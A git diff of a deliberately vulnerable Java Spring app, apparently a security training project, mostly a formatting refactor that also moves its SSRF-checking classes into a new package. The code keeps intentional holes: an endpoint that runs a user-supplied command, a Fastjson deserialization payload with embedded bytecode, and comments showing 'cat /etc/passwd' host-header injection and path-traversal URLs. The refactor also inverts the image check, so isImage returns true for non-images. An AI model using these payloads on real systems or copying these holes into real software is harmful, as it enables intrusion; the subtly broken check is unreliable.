.../java/org/joychou/controller/SSRF.java | 62 ++-- .../java/org/joychou/controller/SSTI.java | 4 +- .../java/org/joychou/controller/SpEL.java | 10 +- .../java/org/joychou/controller/Test.java | 3 +- .../org/joychou/controller/URLRedirect.java | 17 +- .../org/joychou/controller/URLWhiteList.java | 67 ++-- src/main/java/org/joychou/controller/XSS.java | 12 +- .../org/joychou/controller/XStreamRce.java | 8 +- src/main/java/org/joychou/controller/XXE.java | 58 ++-- .../controller/othervulns/ooxmlXXE.java | 28 +- .../othervulns/xlsxStreamerXXE.java | 6 +- .../java/org/joychou/filter/OriginFilter.java | 10 +- .../java/org/joychou/filter/ReferFilter.java | 14 +- .../org/joychou/security/SecurityUtil.java | 22 +- .../joychou/security/SocketHookFactory.java | 77 ----- .../org/joychou/security/SocketHookImpl.java | 294 ------------------ .../org/joychou/security/SocketHookUtils.java | 29 -- .../security/{ => ssrf}/SSRFChecker.java | 62 ++-- .../joychou/security/ssrf/SSRFException.java | 15 + .../security/{ => ssrf}/SocketHook.java | 18 +- .../security/ssrf/SocketHookFactory.java | 87 ++++++ .../joychou/security/ssrf/SocketHookImpl.java | 270 ++++++++++++++++ .../security/ssrf/SocketHookUtils.java | 28 ++ src/main/java/org/joychou/util/WebUtils.java | 16 + 43 files changed, 747 insertions(+), 778 deletions(-) delete mode 100644 src/main/java/org/joychou/security/SocketHookFactory.java delete mode 100644 src/main/java/org/joychou/security/SocketHookImpl.java delete mode 100644 src/main/java/org/joychou/security/SocketHookUtils.java rename src/main/java/org/joychou/security/{ => ssrf}/SSRFChecker.java (77%) create mode 100644 src/main/java/org/joychou/security/ssrf/SSRFException.java rename src/main/java/org/joychou/security/{ => ssrf}/SocketHook.java (59%) create mode 100644 src/main/java/org/joychou/security/ssrf/SocketHookFactory.java create mode 100644 src/main/java/org/joychou/security/ssrf/SocketHookImpl.java create mode 100644 src/main/java/org/joychou/security/ssrf/SocketHookUtils.java diff --git a/README.md b/README.md index 9ee7a881..2c0a0bc8 100644 --- a/README.md +++ b/README.md @@ -190,7 +190,7 @@ Tomcat's default JSESSION session is valid for 30 minutes, so a 30-minute non-op ## Contributors -Core developers : [JoyChou](https://github.com/JoyChou93). +Core developers : [JoyChou](https://github.com/JoyChou93), [liergou9981](https://github.com/liergou9981) Other developers: [lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95), [waderwu](https://github.com/waderwu). diff --git a/src/main/java/org/joychou/config/Constants.java b/src/main/java/org/joychou/config/Constants.java index 62379458..ef6ee45e 100644 --- a/src/main/java/org/joychou/config/Constants.java +++ b/src/main/java/org/joychou/config/Constants.java @@ -2,7 +2,8 @@ public class Constants { - private Constants(){} + private Constants() { + } public static final String REMEMBER_ME_COOKIE = "rememberMe"; } diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java index 82859444..6157f645 100644 --- a/src/main/java/org/joychou/config/SafeDomainParser.java +++ b/src/main/java/org/joychou/config/SafeDomainParser.java @@ -14,9 +14,9 @@ public class SafeDomainParser { - private static Logger logger= LoggerFactory.getLogger(SafeDomainParser.class); + private static Logger logger = LoggerFactory.getLogger(SafeDomainParser.class); - public SafeDomainParser(){ + public SafeDomainParser() { String rootTag = "domains"; String safeDomainTag = "safedomains"; @@ -38,8 +38,8 @@ public SafeDomainParser(){ NodeList rootNode = doc.getElementsByTagName(rootTag); // 解析根节点domains Node domainsNode = rootNode.item(0); NodeList child = domainsNode.getChildNodes(); - - for (int i = 0; i < child.getLength(); i++){ + + for (int i = 0; i < child.getLength(); i++) { Node node = child.item(i); // 解析safeDomains节点 if (node.getNodeName().equals(safeDomainTag)) { @@ -51,7 +51,7 @@ public SafeDomainParser(){ safeDomains.add(finalTagNode.getTextContent()); } } - }else if (node.getNodeName().equals(blockDomainTag)) { + } else if (node.getNodeName().equals(blockDomainTag)) { NodeList finalTagNode = node.getChildNodes(); for (int j = 0; j < finalTagNode.getLength(); j++) { Node tagNode = finalTagNode.item(j); @@ -62,7 +62,7 @@ public SafeDomainParser(){ } } } - }catch (Exception e){ + } catch (Exception e) { logger.error(e.toString()); } @@ -96,7 +96,7 @@ public SafeDomainParser(){ Node domainsNode = rootNode.item(0); NodeList child = domainsNode.getChildNodes(); - for (int i = 0; i < child.getLength(); i++){ + for (int i = 0; i < child.getLength(); i++) { Node node = child.item(i); // 解析safeDomains节点 if (node.getNodeName().equals(ssrfSafeDomainTag)) { @@ -107,7 +107,7 @@ public SafeDomainParser(){ ssrfSafeDomains.add(tagFinalNode.getTextContent()); } } - }else if (node.getNodeName().equals(ssrfBlockDomainTag)) { + } else if (node.getNodeName().equals(ssrfBlockDomainTag)) { NodeList tagChild = node.getChildNodes(); for (int j = 0; j < tagChild.getLength(); j++) { Node tagFinalNode = tagChild.item(j); @@ -115,7 +115,7 @@ public SafeDomainParser(){ ssrfBlockDomains.add(tagFinalNode.getTextContent()); } } - }else if(node.getNodeName().equals(ssrfBlockIpsTag)){ + } else if (node.getNodeName().equals(ssrfBlockIpsTag)) { NodeList tagChild = node.getChildNodes(); for (int j = 0; j < tagChild.getLength(); j++) { Node tagFinalNode = tagChild.item(j); @@ -126,7 +126,7 @@ public SafeDomainParser(){ } } } - }catch (Exception e){ + } catch (Exception e) { logger.error(e.toString()); } diff --git a/src/main/java/org/joychou/config/WebConfig.java b/src/main/java/org/joychou/config/WebConfig.java index 2dfdee19..28ee6967 100644 --- a/src/main/java/org/joychou/config/WebConfig.java +++ b/src/main/java/org/joychou/config/WebConfig.java @@ -15,112 +15,124 @@ public class WebConfig { private static String[] callbacks; - private static Boolean jsonpReferCheckEnabled = false; + private static Boolean jsonpReferCheckEnabled = false; private static String[] jsonpRefererHost; private static String[] referWhitelist; private static String[] referUris; private static Boolean referSecEnabled = false; private static String businessCallback; - private static ArrayList safeDomains= new ArrayList<>(); - private static ArrayList blockDomains= new ArrayList<>(); + private static ArrayList safeDomains = new ArrayList<>(); + private static ArrayList blockDomains = new ArrayList<>(); private static ArrayList ssrfSafeDomains = new ArrayList<>(); - private static ArrayList ssrfBlockDomains= new ArrayList<>(); + private static ArrayList ssrfBlockDomains = new ArrayList<>(); private static ArrayList ssrfBlockIps = new ArrayList<>(); + /** * application.properties里object自动转jsonp的referer校验开关 + * * @param jsonpReferCheckEnabled jsonp校验开关 */ @Value("${joychou.security.jsonp.referer.check.enabled}") - public void setJsonpReferCheckEnabled(Boolean jsonpReferCheckEnabled){ + public void setJsonpReferCheckEnabled(Boolean jsonpReferCheckEnabled) { WebConfig.jsonpReferCheckEnabled = jsonpReferCheckEnabled; } - public static Boolean getJsonpReferCheckEnabled(){ + + public static Boolean getJsonpReferCheckEnabled() { return jsonpReferCheckEnabled; } @Value("${joychou.security.jsonp.callback}") - public void setJsonpCallbacks(String[] callbacks){ + public void setJsonpCallbacks(String[] callbacks) { WebConfig.callbacks = callbacks; } - public static String[] getJsonpCallbacks(){ + + public static String[] getJsonpCallbacks() { return callbacks; } @Value("${joychou.security.referer.enabled}") - public void setReferSecEnabled(Boolean referSecEnabled){ + public void setReferSecEnabled(Boolean referSecEnabled) { WebConfig.referSecEnabled = referSecEnabled; } - public static Boolean getReferSecEnabled(){ + + public static Boolean getReferSecEnabled() { return referSecEnabled; } @Value("${joychou.security.referer.host}") - public void setReferWhitelist(String[] referWhitelist){ + public void setReferWhitelist(String[] referWhitelist) { WebConfig.referWhitelist = referWhitelist; } - public static String[] getReferWhitelist(){ + + public static String[] getReferWhitelist() { return referWhitelist; } @Value("${joychou.security.referer.uri}") - public void setReferUris(String[] referUris) - { + public void setReferUris(String[] referUris) { WebConfig.referUris = referUris; } - public static String[] getReferUris(){ + + public static String[] getReferUris() { return referUris; } @Value("${joychou.business.callback}") - public void setBusinessCallback(String businessCallback){ + public void setBusinessCallback(String businessCallback) { WebConfig.businessCallback = businessCallback; } - public static String getBusinessCallback(){ + + public static String getBusinessCallback() { return businessCallback; } - void setSafeDomains(ArrayList safeDomains){ + void setSafeDomains(ArrayList safeDomains) { WebConfig.safeDomains = safeDomains; } - public static ArrayList getSafeDomains(){ + + public static ArrayList getSafeDomains() { return safeDomains; } - void setBlockDomains(ArrayList blockDomains){ + void setBlockDomains(ArrayList blockDomains) { WebConfig.blockDomains = blockDomains; } - public static ArrayList getBlockDomains(){ + + public static ArrayList getBlockDomains() { return blockDomains; } - void setSsrfSafeDomains(ArrayList ssrfSafeDomains){ + void setSsrfSafeDomains(ArrayList ssrfSafeDomains) { WebConfig.ssrfSafeDomains = ssrfSafeDomains; } - public static ArrayList getSsrfSafeDomains(){ + + public static ArrayList getSsrfSafeDomains() { return ssrfSafeDomains; } - void setSsrfBlockDomains(ArrayList ssrfBlockDomains){ + void setSsrfBlockDomains(ArrayList ssrfBlockDomains) { WebConfig.ssrfBlockDomains = ssrfBlockDomains; } - public static ArrayList getSsrfBlockDomainsDomains(){ + + public static ArrayList getSsrfBlockDomainsDomains() { return ssrfBlockDomains; } - void setSsrfBlockIps(ArrayList ssrfBlockIps){ + void setSsrfBlockIps(ArrayList ssrfBlockIps) { WebConfig.ssrfBlockIps = ssrfBlockIps; } - public static ArrayList getSsrfBlockIps(){ + + public static ArrayList getSsrfBlockIps() { return ssrfBlockIps; } } \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/CRLFInjection.java b/src/main/java/org/joychou/controller/CRLFInjection.java index 4fb66ba7..b0b0e9f2 100644 --- a/src/main/java/org/joychou/controller/CRLFInjection.java +++ b/src/main/java/org/joychou/controller/CRLFInjection.java @@ -11,7 +11,7 @@ /** * Java 1.7/1.8 no CRLF vulns (test in Java 1.7/1.8) * - * @author JoyChou (joychou@joychou.org) @2018-01-03 + * @author JoyChou (joychou@joychou.org) @2018-01-03 */ @Controller @RequestMapping("/crlf") diff --git a/src/main/java/org/joychou/controller/CSRF.java b/src/main/java/org/joychou/controller/CSRF.java index 5481260e..21147270 100644 --- a/src/main/java/org/joychou/controller/CSRF.java +++ b/src/main/java/org/joychou/controller/CSRF.java @@ -10,7 +10,7 @@ * check csrf using spring-security * Access http://localhost:8080/csrf/ -> click submit * - * @author JoyChou (joychou@joychou.org) @2019-05-31 + * @author JoyChou (joychou@joychou.org) @2019-05-31 */ @Controller @RequestMapping("/csrf") diff --git a/src/main/java/org/joychou/controller/CommandInject.java b/src/main/java/org/joychou/controller/CommandInject.java index 5b63efcf..a1a99035 100644 --- a/src/main/java/org/joychou/controller/CommandInject.java +++ b/src/main/java/org/joychou/controller/CommandInject.java @@ -35,7 +35,6 @@ public String codeInject(String filepath) throws IOException { * Host Injection * Host: hacked by joychou;cat /etc/passwd * http://localhost:8080/codeinject/host - * */ @GetMapping("/codeinject/host") public String codeInjectHost(HttpServletRequest request) throws IOException { diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java index e498dfc6..fc346ef6 100644 --- a/src/main/java/org/joychou/controller/Cookies.java +++ b/src/main/java/org/joychou/controller/Cookies.java @@ -5,8 +5,10 @@ import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; + import org.joychou.util.WebUtils; import org.springframework.web.bind.annotation.RestController; + import static org.springframework.web.util.WebUtils.getCookie; @RestController @@ -43,7 +45,7 @@ public String vuln03(HttpServletRequest req) { for (Cookie cookie : cookies) { // key code. Equals can also be equalsIgnoreCase. if (NICK.equals(cookie.getName())) { - nick = cookie.getValue(); + nick = cookie.getValue(); } } } @@ -58,7 +60,7 @@ public String vuln04(HttpServletRequest req) { if (cookies != null) { for (Cookie cookie : cookies) { if (cookie.getName().equalsIgnoreCase(NICK)) { // key code - nick = cookie.getValue(); + nick = cookie.getValue(); } } } @@ -66,7 +68,6 @@ public String vuln04(HttpServletRequest req) { } - @RequestMapping(value = "/vuln05") public String vuln05(@CookieValue("nick") String nick) { return "Cookie nick: " + nick; diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java index 109a4e18..a18e6280 100644 --- a/src/main/java/org/joychou/controller/Cors.java +++ b/src/main/java/org/joychou/controller/Cors.java @@ -11,7 +11,7 @@ import javax.servlet.http.HttpServletResponse; /** - * @author JoyChou (joychou@joychou.org) @2018.10.24 + * @author JoyChou (joychou@joychou.org) @2018.10.24 * https://github.com/JoyChou93/java-sec-code/wiki/CORS */ @@ -106,7 +106,7 @@ public String seccode(HttpServletRequest request, HttpServletResponse response) // 如果origin不为空并且origin不在白名单内,认定为不安全。 // 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。 - if ( origin != null && SecurityUtil.checkURL(origin) == null ) { + if (origin != null && SecurityUtil.checkURL(origin) == null) { return "Origin is not safe."; } response.setHeader("Access-Control-Allow-Origin", origin); diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java index e3e0bca6..45662e9c 100644 --- a/src/main/java/org/joychou/controller/Deserialize.java +++ b/src/main/java/org/joychou/controller/Deserialize.java @@ -31,7 +31,7 @@ public class Deserialize { /** * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 * Add the result to rememberMe cookie. - * + *

* http://localhost:8080/deserialize/rememberMe/vuln */ @RequestMapping("/rememberMe/vuln") @@ -40,7 +40,7 @@ public String rememberMeVul(HttpServletRequest request) Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); - if (null == cookie){ + if (null == cookie) { return "No rememberMe cookie. Right?"; } @@ -57,7 +57,7 @@ public String rememberMeVul(HttpServletRequest request) /** * Check deserialize class using black list. - * + *

* http://localhost:8080/deserialize/rememberMe/security */ @RequestMapping("/rememberMe/security") @@ -66,7 +66,7 @@ public String rememberMeBlackClassCheck(HttpServletRequest request) Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); - if (null == cookie){ + if (null == cookie) { return "No rememberMe cookie. Right?"; } String rememberMe = cookie.getValue(); @@ -74,7 +74,7 @@ public String rememberMeBlackClassCheck(HttpServletRequest request) ByteArrayInputStream bytes = new ByteArrayInputStream(decoded); - try{ + try { AntObjectInputStream in = new AntObjectInputStream(bytes); // throw InvalidClassException in.readObject(); in.close(); diff --git a/src/main/java/org/joychou/controller/Fastjson.java b/src/main/java/org/joychou/controller/Fastjson.java index 80d06fc9..6063b507 100644 --- a/src/main/java/org/joychou/controller/Fastjson.java +++ b/src/main/java/org/joychou/controller/Fastjson.java @@ -3,7 +3,6 @@ import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.Feature; -import com.alibaba.fastjson.parser.ParserConfig; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; @@ -11,22 +10,19 @@ import org.springframework.web.bind.annotation.ResponseBody; - @Controller @RequestMapping("/fastjson") public class Fastjson { - @RequestMapping(value = "/deserialize", method = {RequestMethod.POST }) + @RequestMapping(value = "/deserialize", method = {RequestMethod.POST}) @ResponseBody public static String Deserialize(@RequestBody String params) { // 如果Content-Type不设置application/json格式,post数据会被url编码 - System.out.println(params); try { // 将post提交的string转换为json JSONObject ob = JSON.parseObject(params); return ob.get("name").toString(); - }catch (Exception e){ - e.printStackTrace(); + } catch (Exception e) { return e.toString(); } } @@ -34,6 +30,6 @@ public static String Deserialize(@RequestBody String params) { public static void main(String[] args) { // Open calc in mac String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}"; - JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField); + JSON.parseObject(payload, Feature.SupportNonPublicField); } } diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java index d7297539..8b7c7373 100644 --- a/src/main/java/org/joychou/controller/FileUpload.java +++ b/src/main/java/org/joychou/controller/FileUpload.java @@ -22,19 +22,17 @@ /** - * @author JoyChou (joychou@joychou.org) - * @date 2018.08.15 - * @desc File upload + * File upload. + * + * @author JoyChou @ 2018-08-15 */ - @Controller @RequestMapping("/file") public class FileUpload { // Save the uploaded file to this folder private static String UPLOADED_FOLDER = "/tmp/"; - private final Logger logger= LoggerFactory.getLogger(this.getClass()); - private final String mimeChars = "/abcdefghijklmnopqrstuvwxyz-.0123456789"; + private final Logger logger = LoggerFactory.getLogger(this.getClass()); @GetMapping("/") public String index() { @@ -77,7 +75,7 @@ public String singleFileUpload(@RequestParam("file") MultipartFile file, // only upload picture @PostMapping("/upload/picture") @ResponseBody - public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception{ + public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception { if (multifile.isEmpty()) { return "Please select a file to upload"; } @@ -115,7 +113,7 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throw }; for (String blackMimeType : mimeTypeBlackList) { // 用contains是为了防止text/html;charset=UTF-8绕过 - if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType) ) { + if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) { logger.error("[-] Mime type error: " + mimeType); deleteFile(excelFile); return "Upload failed. Illeagl picture."; @@ -125,7 +123,7 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throw // 判断文件内容是否是图片 校验3 boolean isImageFlag = isImage(excelFile); - if( !isImage(excelFile) ){ + if (!isImageFlag) { logger.error("[-] File is not Image"); deleteFile(excelFile); return "Upload failed. Illeagl picture."; @@ -152,7 +150,10 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throw private void deleteFile(File... files) { for (File file : files) { if (file.exists()) { - file.delete(); + boolean ret = file.delete(); + if (ret) { + logger.debug("File delete successfully!"); + } } } } @@ -160,9 +161,6 @@ private void deleteFile(File... files) { /** * 不建议使用transferTo,因为原始的MultipartFile会被覆盖 * https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file - * - * @param multiFile - * @return */ private File convert(MultipartFile multiFile) throws Exception { String fileName = multiFile.getOriginalFilename(); @@ -170,7 +168,10 @@ private File convert(MultipartFile multiFile) throws Exception { UUID uuid = Generators.timeBasedGenerator().generate(); File convFile = new File(UPLOADED_FOLDER + uuid + suffix); - convFile.createNewFile(); + boolean ret = convFile.createNewFile(); + if (!ret) { + return null; + } FileOutputStream fos = new FileOutputStream(convFile); fos.write(multiFile.getBytes()); fos.close(); @@ -179,15 +180,9 @@ private File convert(MultipartFile multiFile) throws Exception { /** * Check if the file is a picture. - * - * @param file - * @return */ - public static boolean isImage(File file) throws IOException { + private static boolean isImage(File file) throws IOException { BufferedImage bi = ImageIO.read(file); - if (bi == null) { - return false; - } - return true; + return bi == null; } } diff --git a/src/main/java/org/joychou/controller/GetRequestURI.java b/src/main/java/org/joychou/controller/GetRequestURI.java index 512dc1ae..87405b62 100644 --- a/src/main/java/org/joychou/controller/GetRequestURI.java +++ b/src/main/java/org/joychou/controller/GetRequestURI.java @@ -13,13 +13,13 @@ /** * The difference between getRequestURI and getServletPath. * 由于Spring Security的antMatchers("/css/**", "/js/**")未使用getRequestURI,所以登录不会被绕过。 - * + *

* Details: https://joychou.org/web/security-of-getRequestURI.html - * + *

* Poc: - * http://localhost:8080/css/%2e%2e/exclued/vuln - * http://localhost:8080/css/..;/exclued/vuln - * http://localhost:8080/css/..;bypasswaf/exclued/vuln + * http://localhost:8080/css/%2e%2e/exclued/vuln + * http://localhost:8080/css/..;/exclued/vuln + * http://localhost:8080/css/..;bypasswaf/exclued/vuln * * @author JoyChou @2020-03-28 */ @@ -28,7 +28,7 @@ @RequestMapping("uri") public class GetRequestURI { - private final Logger logger= LoggerFactory.getLogger(this.getClass()); + private final Logger logger = LoggerFactory.getLogger(this.getClass()); @RequestMapping(value = "/exclued/vuln") public String exclued(HttpServletRequest request) { @@ -40,9 +40,9 @@ public String exclued(HttpServletRequest request) { logger.info("getRequestURI: " + uri); logger.info("getServletPath: " + request.getServletPath()); - for (String path: excluedPath) { - if ( matcher.match (path, uri) ) { - return "You have bypassed the login page."; + for (String path : excluedPath) { + if (matcher.match(path, uri)) { + return "You have bypassed the login page."; } } return "This is a login page >..<"; diff --git a/src/main/java/org/joychou/controller/IPForge.java b/src/main/java/org/joychou/controller/IPForge.java index d3550e4f..9950e766 100644 --- a/src/main/java/org/joychou/controller/IPForge.java +++ b/src/main/java/org/joychou/controller/IPForge.java @@ -1,25 +1,23 @@ package org.joychou.controller; import org.apache.commons.lang.StringUtils; -import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; import javax.servlet.http.HttpServletRequest; /** - * @author JoyChou (joychou@joychou.org) - * @date 2017.12.29 - * @desc Java获取IP安全代码 - * @detail 关于获取IP不安全代码,详情可查看https://joychou.org/web/how-to-get-real-ip.html + * Java get real ip. More details: https://joychou.org/web/how-to-get-real-ip.html + * + * @author JoyChou @ 2017-12-29 */ - -@Controller +@RestController @RequestMapping("/ip") public class IPForge { + // no any proxy @RequestMapping("/noproxy") - @ResponseBody public static String noProxy(HttpServletRequest request) { return request.getRemoteAddr(); } @@ -36,7 +34,7 @@ public static String proxy(HttpServletRequest request) { String ip = request.getHeader("X-Real-IP"); if (StringUtils.isNotBlank(ip)) { return ip; - }else { + } else { String remoteAddr = request.getRemoteAddr(); if (StringUtils.isNotBlank(remoteAddr)) { return remoteAddr; diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java index 44394097..96061579 100644 --- a/src/main/java/org/joychou/controller/Jsonp.java +++ b/src/main/java/org/joychou/controller/Jsonp.java @@ -17,9 +17,8 @@ import java.security.Principal; - /** - * @author JoyChou (joychou@joychou.org) @ 2018.10.24 + * @author JoyChou (joychou@joychou.org) @ 2018.10.24 * https://github.com/JoyChou93/java-sec-code/wiki/JSONP */ @@ -75,14 +74,14 @@ public JSONObject advice(HttpServletRequest request) { * http://localhost:8080/jsonp/vuln/mappingJackson2JsonView?callback=test * Reference: https://p0sec.net/index.php/archives/122/ from p0 * Affected version: java-sec-code test case version: 4.3.6 - * - Spring Framework 5.0 to 5.0.6 - * - Spring Framework 4.1 to 4.3.17 + * - Spring Framework 5.0 to 5.0.6 + * - Spring Framework 4.1 to 4.3.17 */ @RequestMapping(value = "/vuln/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE) public ModelAndView mappingJackson2JsonView(HttpServletRequest req) { ModelAndView view = new ModelAndView(new MappingJackson2JsonView()); Principal principal = req.getUserPrincipal(); - view.addObject("username", principal.getName() ); + view.addObject("username", principal.getName()); return view; } @@ -109,5 +108,4 @@ public CsrfToken getCsrfToken(CsrfToken token) { } - } \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Login.java b/src/main/java/org/joychou/controller/Login.java index 542f94e5..16769e4a 100644 --- a/src/main/java/org/joychou/controller/Login.java +++ b/src/main/java/org/joychou/controller/Login.java @@ -25,7 +25,7 @@ public String login() { } @GetMapping("/logout") - public String logoutPage (HttpServletRequest request, HttpServletResponse response) { + public String logoutPage(HttpServletRequest request, HttpServletResponse response) { String username = request.getUserPrincipal().getName(); diff --git a/src/main/java/org/joychou/controller/PathTraversal.java b/src/main/java/org/joychou/controller/PathTraversal.java index 76f9a2ce..1976b01b 100644 --- a/src/main/java/org/joychou/controller/PathTraversal.java +++ b/src/main/java/org/joychou/controller/PathTraversal.java @@ -41,9 +41,9 @@ private String getImgBase64(String imgFile) throws IOException { logger.info("File path: " + imgFile); File f = new File(imgFile); - if(f.exists() && !f.isDirectory()) { - byte[] data = Files.readAllBytes( Paths.get(imgFile) ); - return new String( Base64.encodeBase64(data) ); + if (f.exists() && !f.isDirectory()) { + byte[] data = Files.readAllBytes(Paths.get(imgFile)); + return new String(Base64.encodeBase64(data)); } else { return "File doesn't exist or is not a file."; } diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java index 983e3164..1bb1face 100644 --- a/src/main/java/org/joychou/controller/Rce.java +++ b/src/main/java/org/joychou/controller/Rce.java @@ -1,31 +1,27 @@ package org.joychou.controller; -import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; -import javax.servlet.http.HttpServletRequest; import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.InputStreamReader; /** - * @author JoyChou (joychou@joychou.org) - * @date 2018.05.24 - * @desc Java code execute - * @fix 过滤造成命令执行的参数 + * Java code execute + * + * @author JoyChou @ 2018-05-24 */ - -@Controller +@RestController @RequestMapping("/rce") public class Rce { @RequestMapping("/exec") @ResponseBody - public String CommandExec(HttpServletRequest request) { - String cmd = request.getParameter("cmd").toString(); + public String CommandExec(String cmd) { Runtime run = Runtime.getRuntime(); - String lineStr = ""; + StringBuilder sb = new StringBuilder(); try { Process p = run.exec(cmd); @@ -34,22 +30,20 @@ public String CommandExec(HttpServletRequest request) { String tmpStr; while ((tmpStr = inBr.readLine()) != null) { - lineStr += tmpStr + "\n"; - System.out.println(tmpStr); + sb.append(tmpStr); } if (p.waitFor() != 0) { if (p.exitValue() == 1) - return "command exec failed"; + return "Command exec failed!!"; } inBr.close(); in.close(); } catch (Exception e) { - e.printStackTrace(); return "Except"; } - return lineStr; + return sb.toString(); } } diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java index cf49a335..7ea518a5 100644 --- a/src/main/java/org/joychou/controller/SQLI.java +++ 